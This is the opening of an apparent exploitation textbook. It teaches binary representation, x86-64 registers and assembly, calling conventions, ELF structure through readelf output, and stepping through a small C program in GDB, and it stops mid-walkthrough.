Contents

1 A Crash Course on Computers

1.1 Bits, Bytes, and their Representations

1.1.1 Numbers in different bases

Bits are the fundamental unit of data on a computer. A bit can only be either on or off, 0 or 1. It's awkward to represent data in terms of bits, so they are usually referred to in groups. A string of eight consecutive bits is called a byte, and a pair of two bytes, or 16 bits, is called a word. Bytes are often further grouped into pairs, called double words, or groups of four, called quad words.

Since a bit can only take on one of two values, computers store numbers in base two, or binary. Just as the digits of a number in base 10 are each scaled by a power of 10, each bit in a binary number is scaled by a power of 2. The rightmost bit has a value of either 0 or 1 (scaled by 2^0, or 1), and every other bit is scaled by twice as much as the bit to its right. Therefore, if we zero-index the bits starting from the right, the ith bit is scaled by 2^i.

Example 1.1 (Numbers in base 2)

$$\begin{aligned} 11010110_2 &= 1 \times 2^7 + 1 \times 2^6 + 0 \times 2^5 + 1 \times 2^4 + 0 \times 2^3 + 1 \times 2^2 + 1 \times 2^1 + 0 \times 2^0 \\ &= 128 + 64 + 0 + 16 + 0 + 4 + 2 + 0 \\ &= 214 \end{aligned}$$

Note that the 2 subscript denotes a number written in base 2.

Since it's tedious to write bytes as strings of bits, they are often represented in base 16, or hexadecimal. This representation is convenient since 4 bits can be represented with a single hexadecimal digit. Since there are more hexadecimal digits than decimal ones, we use a-f as digits with values 10-15.

Example 1.2 (Numbers in base 16)

$$\begin{aligned} 11010110_2 &= 1101_2 \times 16^1 + 0110_2 \times 16^0 \\ &= 13 \times 16^1 + 6 \times 16^0 \\ &= \text{0xd6} \end{aligned}$$

Note that the 0x prefix denotes a number written in base 16.

1.1.2 2s complement

Since computers can only store data as bits, there is no inherent way to represent negative numbers. To address this problem, the highest-order bit is given a negative value when negative numbers are needed. This representation for negative numbers is called 2's complement. Whereas a string of n bits normally takes values from 0 to $2^n - 1$, the same n bits in 2's complement can take any values from -2^{n-1} to $2^{n-1} - 1$.

1.1.3 Machine Words

The number of bits that a computer can read, write, and manipulate at a time is called a machine word, not to be confused by the 16-bit words from above. A computer that operates on 16 bits at a time is said to run on a 16-bit architecture. The size of a machine word varies between computers.

At the time of writing, most modern computers have 64-bit machine words, and thus run on 64-bit architectures. The size of machine words generally gets smaller as the computer gets older. The original PlayStation and the GameCube ran on 32-bit architectures, and the original GameBoy had an 8-bit architecture. x86 is the most common 32-bit architecture, and it's successor x86-64, is the most common 64-bit architecture.

1.1.4 Endianness

Not all computers store multiple bytes of data in the same order. Some store the most significant byte first, which results in a number like `0x080485a2` being stored as `0x08 0x04 0x85 0xa2`. This is called big-endian byte order, and it is surprisingly rare. Most computers store data in little-endian byte order, which lists the least-significant byte first. The same number `0x080485a2` stored in little-endian byte order would be stored as `0xa2 0x85 0x04 0x08`.

1.2 Computer Model

Although we tend to think of a "computer" as consisting of many parts such as a monitor, hard disk, mouse, CD drive, etc., there are only three components we need to know about in order to exploit software.

1.2.1 The CPU

The Central Processing Unit, or CPU, is responsible for executing the instructions contained in a program. This typically includes performing arithmetic, reading and writing to memory, and making requests to the kernel via syscalls. Different CPUs understand different variants of machine code, and a CPU can only run an executable if it is written in the variant that the CPU understands.

1.2.2 Memory

Memory acts as both a scratchpad for the CPU to use while executing a program, and the place where the CPU reads program instructions. It is also used to keep track of function calls and handle recursion. Memory is the *only* place where the CPU can read and write data.

1.2.3 Registers

Registers are very fast memory located on the CPU. Although they are fast, each register can typically only store a single machine word, which means the vast majority of data must reside in main memory.

1.2.4 Compilers

A *compiler* translates source code into machine code, producing an object file. An object file cannot be run until it is linked, a task which is left to the linker.

1.2.5 Linkers

Linkers combine object files in a process called linking. This produces an executable, a binary which can be executed. This may sound confusing since we typically say that we run binaries after compiling them, but what programmers colloquially refer to as "compiling" is actually compiling *and* linking.

2 Understanding the Playing Field

2.1 x86 and x86-64

x86 CPUs have eight general-purpose registers. They are called `eax`, `ecx`, `edx`, `ebx`, `esp`, `ebp`, `esi`, `edi`. There are two other registers, `eip`, and `eflags`, which have specific uses and cannot be written to directly. Although each general-purpose register can technically be used for anything, they are conventionally used for specific purposes.

- `eax` (the accumulator) is used to store function return values
- `esp` (the stack pointer) points to the top (lowest address) of the current stack frame
- `ebp` (the base pointer) points to the base (highest) address of the current stack frame
- `eip` (the instruction pointer) points to the next instruction that the CPU will execute. Each time an instruction is executed, the `eip` is set to the next instruction.
- `eflags` (the flags register) contains several single-bit flags that describe the state of the CPU

Some parts of each register can be manipulated independently of others. For example, the lower 16 bits of `eax` are referred to as `ax`. The lower 8 bits of `ax` are referred to as `al`, and the higher 8 bits of `ax` are referred to as `ah`. There is a similar naming convention for `ecx`, `edx`, and `ebx`.

x86-64 extends the x86 registers mentioned above to 64 bits, and in doing so replaces the 'e' prefixes with 'r' prefixes (i.e. `rax`, `rflags`, etc.). It also adds eight more general-purpose registers (`r8` through `r15`), and eight 128-bit XMM registers.

2.2 Assembly, the Elven Tongue

Although we write typically write programs in C, a CPU can only execute instructions written in machine code. Machine code is unfortunately rather difficult to for humans to read, so we instead use assembly, a language whose instructions are one-to-one with machine code. Being comfortable reading assembly will be invaluable while trying to understand and exploit programs, so it will be useful to learn a few of the more common instructions.

2.2.1 Intel vs. AT&T

Assembly can be written in one of two ways: intel syntax and at&t syntax. Both have the same instructions and convey the same information, but most people find intel syntax a little bit easier to read. For the purposes of this book, all assembly will be written in intel syntax. If you're ever unsure what syntax your assembly is written in, just look for the $ and % characters that are heavily used in at&t syntax.

2.2.2 Common Assembly Instructions

Instructions in intel syntax are typically have one of two forms: `<instruction> <destination> <source>` or `<instruction> <argument>`. A few of the most common assembly instructions are listed below.

- `mov <destination> <source>` - write data specified by source to destination

- push <data> - decrement the stack pointer, then write the specified data to the top of the stack
- pop <data> - write data at the top of the stack to argument, then increment the stack pointer
- call <address> - push the address of the next instruction, then move address into rip
- ret - move the address at the top of the stack into rip, then increment the stack pointer
- nop - do absolutely nothing

There are several assembly instructions to perform arithmetic and bitwise operations on data.

- add <arg1> <arg2> - writes arg1 + arg2 to arg1
- sub <arg1> <arg2> - writes arg1 - arg2 to arg1
- xor <arg1> <arg2> - writes arg1 $^arg2toarg1$and <arg1> <arg2>$-writesarg1arg2toarg1$

- imul <arg1> <arg2> - writes arg1 * arg2 to arg1
- idiv <arg> - writes rax / arg to rdx:rax (or architecture equivalent)

Finally, there are a family of jump instructions that deserve special attention. The jmp instruction simply redirects execution to the address specified by its argument. Each of the others checks rflags and will only redirect execution if the flags meet a certain condition.

- jmp - unconditional jump
- je - jump if equal (to zero)
- jne - jump if not equal (to zero)
- jl - jump if less (than zero)
- jle - jump if less than or equal (to zero)
- jg - jump if greater (than zero)
- jge - jump if greater than or equal (to zero)
- cmp - perform subtraction, but ignore the result (only set rflags)
- test - perform and, but ignore the result (only set rflags)

When an assembly instruction references memory, it must specify both the location of size of that memory. The intel syntax for addressing memory is <size> PTR [<addr>], where the size is one of the following:

- BYTE - 1 byte
- WORD - 2 bytes
- DWORD - 4 bytes
- QWORD - 8 bytes

This is commonly used with the mov instruction, i.e. mov QWORD PTR [rbp-0x8],rax.

2.3 The Stack and Heap

The most important use of the stack is in handling nested function calls. In order to make this work seamlessly, the functions follow a calling convention which outlines instructions for both the calling function (the caller) and the called function (the callee). The calling convention is as follows:

The caller shall:

1. Prepare the callee's arguments by either loading them into registers (x86-64) or pushing them onto the stack in reverse order (x86)
2. Execute the `call` instruction to jump to the new function and push the address of the next instruction onto the stack
3. After the callee returns, clear the stack of any callee arguments

At the *start* of execution, the callee shall:

1. Push the caller's base pointer onto the stack
2. Move the base pointer to point to the caller's saved base pointer
3. Subtract from the base pointer to make room for any local variables

At the *end* of execution, the callee shall:

1. Leave the return value in the accumulator
2. Move the stack pointer to point to the caller's saved base pointer
3. Restore the caller's base pointer by popping if off of the stack
4. Execute the `ret` instruction to return control to the caller

Note that the callee essentially undoes everything it did to build its new stack frame after it finishes execution. This way the caller can continue execution after finishing the calling convention with it's stack frame intact. Additionally, this calling convention allows for the callee to call other functions during it's execution, since the stack frames they build will be popped off the stack after they terminate. This means that we can nest function calls indefinitely as long as there is room on the stack to keep building stack frames!

You now know enough to understand a basic program written in assembly. Take this one, for example.

```
// elf.c
#include <stdio.h>

int main(void) {
    int num;
    printf("ELF example\n");
    scanf("%d\n", &num);
    return 0;
}
```

If you to compile this program with `gcc -o elf elf.c`, you will create a new ELF file called `elf`.

```
> gcc -o elf elf.c
> ls -l elf
-rwxrwxr-x 1 devneal devneal 8720 Nov  9 11:28 elf
>
```

We can use a tool called `objdump` to read a compiled program's assembly. Run `objdump -M intel -d elf` to see the disassembled program's machine code.

```
00000000004005f6 <main>:
  4005f6:       55                      push   rbp
  4005f7:       48 89 e5                mov    rbp,rsp
  4005fa:       48 83 ec 10             sub    rsp,0x10
  4005fe:       64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
  400605:       00 00
  400607:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  40060b:       31 c0                   xor    eax,eax
  40060d:       bf d4 06 40 00          mov    edi,0x4006d4
  400612:       e8 99 fe ff ff          call   4004b0 <puts@plt>
  400617:       48 8d 45 f4             lea    rax,[rbp-0xc]
  40061b:       48 89 c6                mov    rsi,rax
  40061e:       bf e0 06 40 00          mov    edi,0x4006e0
  400623:       b8 00 00 00 00          mov    eax,0x0
  400628:       e8 b3 fe ff ff          call   4004e0 <__isoc99_scanf@plt>
  40062d:       b8 00 00 00 00          mov    eax,0x0
  400632:       48 8b 55 f8             mov    rdx,QWORD PTR [rbp-0x8]
  400636:       64 48 33 14 25 28 00    xor    rdx,QWORD PTR fs:0x28
  40063d:       00 00
  40063f:       74 05                   je     400646 <main+0x50>
  400641:       e8 7a fe ff ff          call   4004c0 <__stack_chk_fail@plt>
  400646:       c9                      leave
  400647:       c3                      ret
  400648:       0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
  40064f:       00
```

The first three instructions are the function prologue, creating a new stack frame.

```
4005f6:       55                      push   rbp
4005f7:       48 89 e5                mov    rbp,rsp
4005fa:       48 83 ec 10             sub    rsp,0x10
```

The next two instructions may seem strange. The program reads a `QWORD` from somewhere into `rax`, then stores that values on the stack at `rbp-0x8`. It then uses a clever trick to zero out `eax`.

```
4005fe:       64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
400605:       00 00
400607:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
40060b:       31 c0                   xor    eax,eax
```

Next is a call to `puts()`. We can see the first argument (presumably a format string) being moved into `edi` preceding the call.

```
40060d:       bf d4 06 40 00          mov    edi,0x4006d4
400612:       e8 99 fe ff ff          call   4004b0 <puts@plt>
```

Now there's a call to `scanf()`. Since we called `scanf()` with two arguments, but `rdi` and `rsi` are set before the call. It then moves `0x0` into `eax` in order to return 0.

```
400617:        48 8d 45 f4              lea    rax,[rbp-0xc]
40061b:        48 89 c6                 mov    rsi,rax
40061e:        bf e0 06 40 00           mov    edi,0x4006e0
400623:        b8 00 00 00 00           mov    eax,0x0
400628:        e8 b3 fe ff ff           call   4004e0 <__isoc99_scanf@plt>
40062d:        b8 00 00 00 00           mov    eax,0x0
```

This is followed by a few more instructions involving the mysterious value at `rbp-0x8`. Their purpose can be ignored for now, but we can tell that the program is comparing the value on the stack to the one that was originally placed there.

```
400632:        48 8b 55 f8              mov    rdx,QWORD PTR [rbp-0x8]
400636:        64 48 33 14 25 28 00     xor    rdx,QWORD PTR fs:0x28
40063d:        00 00
40063f:        74 05                    je     400646 <main+0x50>
400641:        e8 7a fe ff ff           call   4004c0 <__stack_chk_fail@plt>
```

Last, the program exits by executing the function epilogue followed by the `ret` instruction.

```
400646:        c9                       leave
400647:        c3                       ret
```

2.4 Memory Layout

Memory in a running program can be divided into sections, each of which is used for a specific purpose. They are, in order from lower addresses to higher addresses, `.text`, `.data`, `.bss`, `heap`, and `stack`.

- The `.text` section stores the program's executable code and is never writable.
- The `.data` section stores any static or global variables (in C terminology) that are initialized in the source code and writable.
- The `.bss` secition stores any static or global variables that are initialized to zero or not explicitly initialized in the source code.
- The `heap` is a section of memory which can be dynamically allocated at runtime. The heap grows downward, toward higher memory addresses.
- The `stack` is a section of memory which is used to store local variables and handle nested function calls. The stack grows upward, toward lower memory addresses.

2.5 ELF Anatomy

ELF, or Executable and Linkable Format, is the most common type of executable for Linux systems. Whenever you compile a program with 'gcc', the result is and ELF binary.

```
> file elf
elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
    interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1
    ]=6dc45433a562bb0eb99f962510ad71b3da43095d, not stripped
>
```

The output of the `file` command indicates that this ELF binary was compiled for a litte-endian (Least Significant Byte) x86-64 architecture. We can see more information with the `readelf` command.

```
> readelf --file-header elf
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x400430
  Start of program headers:          64 (bytes into file)
  Start of section headers:          6616 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         31
  Section header string table index: 28
>
```

We don't need most of this information right now, but there are a few interesting things. The "Magic" field indicates the first few bytes in the file, which always starts with `7f` followed by the ascii representation of the characters 'E' 'L' 'F'. The "Class" field is `ELF64`, indicating that this executable was compiled for a 64-bit architecture, and the "Data" field shows that the executable uses little-endian byte order. `readelf` is a useful tool for retreiving information about binaries, so it's worth getting familiar with it.

2.5.1 Symbols, Sections, and Segments

ELF binaries can be organized into *symbols*, *sections*, and *segments*. This grouping is heirarchical: segments are groups of sections and each section contains several symbols. Symbols are simply names for memory locations. Each symbol is identified by it's location in memory and it's size. We can view an ELF file's symbols by passing the `--symbols` flag to `readelf`.

```
> readelf --symbols elf | tail -n 10
    57: 00000000004005c0     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used
    58: 0000000000400540   101 FUNC    GLOBAL DEFAULT   14 __libc_csu_init
    59: 0000000000601040     0 NOTYPE  GLOBAL DEFAULT   26 _end
    60: 0000000000400430    42 FUNC    GLOBAL DEFAULT   14 _start
    61: 0000000000601038     0 NOTYPE  GLOBAL DEFAULT   26 __bss_start
    62: 0000000000400526    21 FUNC    GLOBAL DEFAULT   14 main
    63: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _Jv_RegisterClasses
    64: 0000000000601038     0 OBJECT  GLOBAL HIDDEN    25 __TMC_END__
    65: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND
        _ITM_registerTMCloneTable
    66: 00000000004003c8     0 FUNC    GLOBAL DEFAULT   11 _init
```

```
>
```

Here we can see that the symbol for `main()` is located at address `0x400526` and has a size of 21 bytes. The compiler adds many more symbols for the linker to use.

Each section of the binary is used for a different purpose. We've already seen the `.text` section, which stores machine code, the `.data` section, which stores initialized global or static variables, and the `.bss` section, which stores uninitialized global or static variables. To list all of the sections in an ELF binary, pass the `--sections` flag to `readelf`.

```
> readelf --sections elf
There are 31 section headers, starting at offset 0x19d8:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000000400238  00000238
       000000000000001c  0000000000000000   A       0     0     1
  [ 2] .note.ABI-tag     NOTE             0000000000400254  00000254
       0000000000000020  0000000000000000   A       0     0     4
  [ 3] .note.gnu.build-i NOTE             0000000000400274  00000274
       0000000000000024  0000000000000000   A       0     0     4
  [ 4] .gnu.hash         GNU_HASH         0000000000400298  00000298
       000000000000001c  0000000000000000   A       5     0     8
  [ 5] .dynsym           DYNSYM           00000000004002b8  000002b8
       0000000000000060  0000000000000018   A       6     1     8
  [ 6] .dynstr           STRTAB           0000000000400318  00000318
       000000000000003d  0000000000000000   A       0     0     1
  [ 7] .gnu.version      VERSYM           0000000000400356  00000356
       0000000000000008  0000000000000002   A       5     0     2
  [ 8] .gnu.version_r    VERNEED          0000000000400360  00000360
       0000000000000020  0000000000000000   A       6     1     8
  [ 9] .rela.dyn         RELA             0000000000400380  00000380
       0000000000000018  0000000000000018   A       5     0     8
  [10] .rela.plt         RELA             0000000000400398  00000398
       0000000000000030  0000000000000018  AI       5    24     8
  [11] .init             PROGBITS         00000000004003c8  000003c8
       000000000000001a  0000000000000000  AX       0     0     4
  [12] .plt              PROGBITS         00000000004003f0  000003f0
       0000000000000030  0000000000000010  AX       0     0     16
  [13] .plt.got          PROGBITS         0000000000400420  00000420
       0000000000000008  0000000000000000  AX       0     0     8
  [14] .text             PROGBITS         0000000000400430  00000430
       0000000000000182  0000000000000000  AX       0     0     16
  [15] .fini             PROGBITS         00000000004005b4  000005b4
       0000000000000009  0000000000000000  AX       0     0     4
  [16] .rodata           PROGBITS         00000000004005c0  000005c0
       0000000000000010  0000000000000000   A       0     0     4
  [17] .eh_frame_hdr     PROGBITS         00000000004005d0  000005d0
       0000000000000034  0000000000000000   A       0     0     4
  [18] .eh_frame         PROGBITS         0000000000400608  00000608
       00000000000000f4  0000000000000000   A       0     0     8
```

```
  [19] .init_array       INIT_ARRAY       0000000000600e10  00000e10
       0000000000000008  0000000000000000  WA       0     0     8
  [20] .fini_array       FINI_ARRAY       0000000000600e18  00000e18
       0000000000000008  0000000000000000  WA       0     0     8
  [21] .jcr              PROGBITS         0000000000600e20  00000e20
       0000000000000008  0000000000000000  WA       0     0     8
  [22] .dynamic          DYNAMIC          0000000000600e28  00000e28
       00000000000001d0  0000000000000010  WA       6     0     8
  [23] .got              PROGBITS         0000000000600ff8  00000ff8
       0000000000000008  0000000000000008  WA       0     0     8
  [24] .got.plt          PROGBITS         0000000000601000  00001000
       0000000000000028  0000000000000008  WA       0     0     8
  [25] .data             PROGBITS         0000000000601028  00001028
       0000000000000010  0000000000000000  WA       0     0     8
  [26] .bss              NOBITS           0000000000601038  00001038
       0000000000000008  0000000000000000  WA       0     0     1
  [27] .comment          PROGBITS         0000000000000000  00001038
       0000000000000034  0000000000000001  MS       0     0     1
  [28] .shstrtab         STRTAB           0000000000000000  000018ca
       000000000000010c  0000000000000000           0     0     1
  [29] .symtab           SYMTAB           0000000000000000  00001070
       0000000000000648  0000000000000018          30    47     8
  [30] .strtab           STRTAB           0000000000000000  000016b8
       0000000000000212  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
>
```

We can see from the output above that the `.text` section is not writable (as expected), but the `.data` and `.bss` sections are. Among the new sections are `.plt` and `.got.plt`, both of which are important for linking.

We can view the binary's segments with `readelf --segments`.

```
> readelf --segments elf

Elf file type is EXEC (Executable file)
Entry point 0x400430
There are 9 program headers, starting at offset 64

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040
                 0x00000000000001f8 0x00000000000001f8  R E    8
  INTERP         0x0000000000000238 0x0000000000400238 0x0000000000400238
                 0x000000000000001c 0x000000000000001c  R      1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                 0x00000000000006fc 0x00000000000006fc  R E    200000
  LOAD           0x0000000000000e10 0x0000000000600e10 0x0000000000600e10
                 0x0000000000000228 0x0000000000000230  RW     200000
```

```
  DYNAMIC        0x0000000000000e28 0x0000000000600e28 0x0000000000600e28
                 0x00000000000001d0 0x00000000000001d0  RW     8
  NOTE           0x0000000000000254 0x0000000000400254 0x0000000000400254
                 0x0000000000000044 0x0000000000000044  R      4
  GNU_EH_FRAME   0x00000000000005d0 0x00000000004005d0 0x00000000004005d0
                 0x0000000000000034 0x0000000000000034  R      4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RW     10
  GNU_RELRO      0x0000000000000e10 0x0000000000600e10 0x0000000000600e10
                 0x00000000000001f0 0x00000000000001f0  R      1

 Section to Segment mapping:
  Segment Sections...
   00
   01     .interp
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .
      gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .plt.got .text
      .fini .rodata .eh_frame_hdr .eh_frame
   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
   04     .dynamic
   05     .note.ABI-tag .note.gnu.build-id
   06     .eh_frame_hdr
   07
   08     .init_array .fini_array .jcr .dynamic .got
>
```

This shows us the segments, their permissions, and which sections are contained in each segment. For example, the `.data` and `.bss` sections are located in the third segment, which has a type of `LOAD`. We also see that this segment has both read and write permissions.

2.5.2 PLT and GOT

One of the most useful attributes of ELF binaries is the fact that they can use each other's data through a process called linking. Although linking is conceptually simple, it's implementation is rather complex due to the fact that shared libraries must function properly regardless of where they are loaded into memory. This means that ELF binaries need some way to determine the locations of their shared library functions at runtime. ELF binaries use two data structures to achieve this - the Procedure Linkage Table (PLT) and Global Offset Table (GOT).

The PLT is a list of code stubs which are called in place of shared library functions, and the GOT is a list of pointers where the PLT will redirect execution. Each shared library function in the ELF has an entry in both the PLT and the GOT. The first entry in the PLT is used to call the resolver, and each following entry is used to call a shared library function. Each PLT entry other than the first consists of a jump to the corresponding address in the GOT, a push onto the stack to prepare the resolver, and a jump to the resolver. When the program is first loaded, each shared function's GOT entry points back to the PLT instructions to prepare and call the resolver. When the function is first called, the resolver will find the address of the function in libc (or other library), write the address to the GOT, and call the function. The next time the function is called, the PLT will redirect execution to the library code, so the resolution is only performed once.

2.6 Stepping through with GDB

We can use a debugger to step through an ELF file's execution one instruction at a time, inspecting and modifying its data as we please. This is a powerful tool for learning about a new executable. We're going to use the GNU debugger (GDB), since it's widely available and very powerful. To start debugging a program, run gdb ¡program¿. Not much will happen, since gdb is run only through the command line.

```
> gdb -nh elf
GNU gdb (Ubuntu 7.11.1-0ubuntu1˜16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from elf...(no debugging symbols found)...done.
(gdb)
```

It's useful to have a few survival gdb commands to get started. These can get you pretty far:

- help - get information on how to use a command
- disassemble - show disassembly of a function
- break - set a breakpoint
- run - run the program from the beginning
- where - display your current location
- info registers - display register status
- x - examine memory
- display - display memory at each breakpoint
- nexti - execute an instruction without following jumps / calls
- stepi - execute an instruction following jumps / calls
- continue - resume execution from a breakpoint

If you type part of a command and press tab twice, `gdb` will suggest ways to finish the command. If there is only one way to complete the command you *could* press tab to finish the command, but `gdb` will actually execute the completed command automatically. This walkthrough will use the full commands so that you can see them, but as you use the commands more, you'll want to start using the abbreviated versions.

To start, we can view the disassembly of `main()` by running `disassemble main`. However, by default this will display the assembly in att syntax. To switch to intel syntax, run `set disassembly intel`.

```
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
   0x00000000004005f6 <+0>:     push   rbp
   0x00000000004005f7 <+1>:     mov    rbp,rsp
   0x00000000004005fa <+4>:     sub    rsp,0x10
   0x00000000004005fe <+8>:     mov    rax,QWORD PTR fs:0x28
   0x0000000000400607 <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000040060b <+21>:    xor    eax,eax
   0x000000000040060d <+23>:    mov    edi,0x4006d4
   0x0000000000400612 <+28>:    call   0x4004b0 <puts@plt>
   0x0000000000400617 <+33>:    lea    rax,[rbp-0xc]
   0x000000000040061b <+37>:    mov    rsi,rax
   0x000000000040061e <+40>:    mov    edi,0x4006e0
   0x0000000000400623 <+45>:    mov    eax,0x0
   0x0000000000400628 <+50>:    call   0x4004e0 <__isoc99_scanf@plt>
   0x000000000040062d <+55>:    mov    eax,0x0
   0x0000000000400632 <+60>:    mov    rdx,QWORD PTR [rbp-0x8]
   0x0000000000400636 <+64>:    xor    rdx,QWORD PTR fs:0x28
   0x000000000040063f <+73>:    je     0x400646 <main+80>
   0x0000000000400641 <+75>:    call   0x4004c0 <__stack_chk_fail@plt>
   0x0000000000400646 <+80>:    leave
   0x0000000000400647 <+81>:    ret
End of assembler dump.
(gdb)
```

To pause execution at the start of `main()`, we'll first set a breakpoint there, then run the program.

```
(gdb) break main
Breakpoint 1 at 0x4005fa
(gdb) run
Starting program: /home/devneal/Security/REFE/textbook/elf

Breakpoint 1, 0x00000000004005fa in main ()
(gdb)
```

From here we can verify our location with the `where` and `info registers` commands. Since we only need to see the location of `rip`, we can use `info register rip` to see it exclusively.

```
(gdb) where
#0  0x00000000004005fa in main ()
(gdb) info register rip
rip            0x4005fa 0x4005fa <main+4>
(gdb)
```

From here we can use the `x` command to examine the state of the program. `x/5i $rip` will display the next 5 instructions to be executed, and `x/8xw $rsp` will display the first 5 hexadecimal words on the top of the stack. You can get more information on how to use `x` with `help x`.

```
(gdb) x/5i $rip
```

```
=> 0x4005fa <main+4>:   sub    rsp,0x10
   0x4005fe <main+8>:   mov    rax,QWORD PTR fs:0x28
   0x400607 <main+17>:  mov    QWORD PTR [rbp-0x8],rax
   0x40060b <main+21>:  xor    eax,eax
   0x40060d <main+23>:  mov    edi,0x4006d4
(gdb) x/8xw $rsp
0x7fffffffdee0: 0x00400650      0x00000000      0xf7a2d830      0x00007fff
0x7fffffffdef0: 0x00000000      0x00000000      0xffffdfc8      0x00007fff
(gdb)
```

From the output above, we can see that the next instruction will subtract `0x10` from `$rsp`. We can execute this instruction by running `nexti` and verify that it behaved as expected.

```
(gdb) nexti
0x00000000004005fe in main ()
(gdb) x/5i $rip
=> 0x4005fe <main+8>:   mov    rax,QWORD PTR fs:0x28
   0x400607 <main+17>:  mov    QWORD PTR [rbp-0x8],rax
   0x40060b <main+21>:  xor    eax,eax
   0x40060d <main+23>:  mov    edi,0x4006d4
   0x400612 <main+28>:  call   0x4004b0 <puts@plt>
(gdb) x/8xw $rsp
0x7fffffffded0: 0xffffdfc0      0x00007fff      0x00000000      0x00000000
0x7fffffffdee0: 0x00400650      0x00000000      0xf7a2d830      0x00007fff
(gdb)
```

As expected, `rip` is now pointing at the next instruction and `rsp` has been decremented by `0x10` (4 words). We can use the `display` command to view `rip` and `rsp` every time execution stops.

```
(gdb) display/5i $rip
1: x/5i $rip
=> 0x4005fe <main+8>:   mov    rax,QWORD PTR fs:0x28
   0x400607 <main+17>:  mov    QWORD PTR [rbp-0x8],rax
   0x40060b <main+21>:  xor    eax,eax
   0x40060d <main+23>:  mov    edi,0x4006d4
   0x400612 <main+28>:  call   0x4004b0 <puts@plt>
(gdb) display/5xw $rsp
2: x/5xw $rsp
0x7fffffffded0: 0xffffdfc0      0x00007fff      0x00000000      0x00000000
0x7fffffffdee0: 0x00400650
(gdb)
```

Use the `nexti` command to step through a few more instructions, and the stack and instruction pointers will update automatically.

Next we'll set a breakpoint at the call to `scanf()`. We can find location of the `call` instruction with `disassemble`, set a breakpoint there with `break`, and stop at it with `continue`.

```
(gdb) disassemble main
Dump of assembler code for function main:
   0x00000000004005f6 <+0>:     push   rbp
   0x00000000004005f7 <+1>:     mov    rbp,rsp
   0x00000000004005fa <+4>:     sub    rsp,0x10
   0x00000000004005fe <+8>:     mov    rax,QWORD PTR fs:0x28
   0x0000000000400607 <+17>:    mov    QWORD PTR [rbp-0x8],rax
```

```
   0x000000000040060b <+21>:    xor    eax,eax
   0x000000000040060d <+23>:    mov    edi,0x4006d4
   0x0000000000400612 <+28>:    call   0x4004b0 <puts@plt>
   0x0000000000400617 <+33>:    lea    rax,[rbp-0xc]
   0x000000000040061b <+37>:    mov    rsi,rax
   0x000000000040061e <+40>:    mov    edi,0x4006e0
   0x0000000000400623 <+45>:    mov    eax,0x0
   0x0000000000400628 <+50>:    call   0x4004e0 <__isoc99_scanf@plt>
   0x000000000040062d <+55>:    mov    eax,0x0
   0x0000000000400632 <+60>:    mov    rdx,QWORD PTR [rbp-0x8]
   0x0000000000400636 <+64>:    xor    rdx,QWORD PTR fs:0x28
   0x000000000040063f <+73>:    je     0x400646 <main+80>
   0x0000000000400641 <+75>:    call   0x4004c0 <__stack_chk_fail@plt>
   0x0000000000400646 <+80>:    leave
   0x0000000000400647 <+81>:    ret
End of assembler dump.
(gdb) break *0x400628
Breakpoint 2 at 0x400628
(gdb) run
Starting program: /home/devneal/Security/REFE/textbook/elf

Breakpoint 1, 0x00000000004005fa in main ()
1: x/5i $rip
=> 0x4005fa <main+4>:   sub    rsp,0x10
   0x4005fe <main+8>:   mov    rax,QWORD PTR fs:0x28
   0x400607 <main+17>:  mov    QWORD PTR [rbp-0x8],rax
   0x40060b <main+21>:  xor    eax,eax
   0x40060d <main+23>:  mov    edi,0x4006d4
2: x/5xw $rsp
0x7fffffffdee0: 0x00400650      0x00000000      0xf7a2d830      0x00007fff
0x7fffffffdef0: 0x00000000
(gdb) continue
Continuing.
ELF example

Breakpoint 2, 0x0000000000400628 in main ()
1: x/5i $rip
=> 0x400628 <main+50>:  call   0x4004e0 <__isoc99_scanf@plt>
